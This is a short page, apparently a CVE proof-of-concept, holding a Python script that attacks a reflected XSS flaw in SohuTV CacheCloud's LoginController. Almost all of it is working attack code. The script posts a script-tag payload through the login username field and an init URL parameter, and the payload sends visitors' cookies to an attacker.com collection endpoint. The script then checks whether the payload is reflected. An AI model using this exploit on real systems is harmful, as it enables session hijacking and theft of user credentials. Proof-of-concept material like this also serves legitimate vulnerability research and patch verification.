CVE-2025-15220 SohuTV CacheCloud LoginController XSS漏洞

#!/usr/bin/env python3 """ CVE-2025-15220 PoC - SohuTV CacheCloud LoginController XSS This PoC demonstrates how to exploit the XSS vulnerability in CacheCloud LoginController """ import requests import urllib.parse target_url = "http://target-server:8080/cachecloud" # XSS payload - attempts to steal cookies xss_payload = "<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>" # Encode the payload for URL encoded_payload = urllib.parse.quote(xss_payload) # Method 1: Login with XSS in username field login_data = { "username": xss_payload, "password": "password123", "init": "true" } print("[*] Sending XSS payload to LoginController init function...") print(f"[*] Target: {target_url}/login") print(f"[*] Payload: {xss_payload}") # Send request to login endpoint try: response = requests.post( f"{target_url}/login", data=login_data, timeout=10, allow_redirects=False ) print(f"[+] Request sent, Status Code: {response.status_code}") print("[+] If the server reflects the XSS payload without sanitization,") print("[+] the vulnerability is confirmed.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Method 2: Direct init function call with XSS parameter print("\n[*] Testing init function directly...") init_url = f"{target_url}/login/init?param={encoded_payload}" try: response = requests.get(init_url, timeout=10) if xss_payload in response.text or encoded_payload in response.text: print("[+] XSS payload reflected - Vulnerability confirmed!") else: print("[-] Payload not reflected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")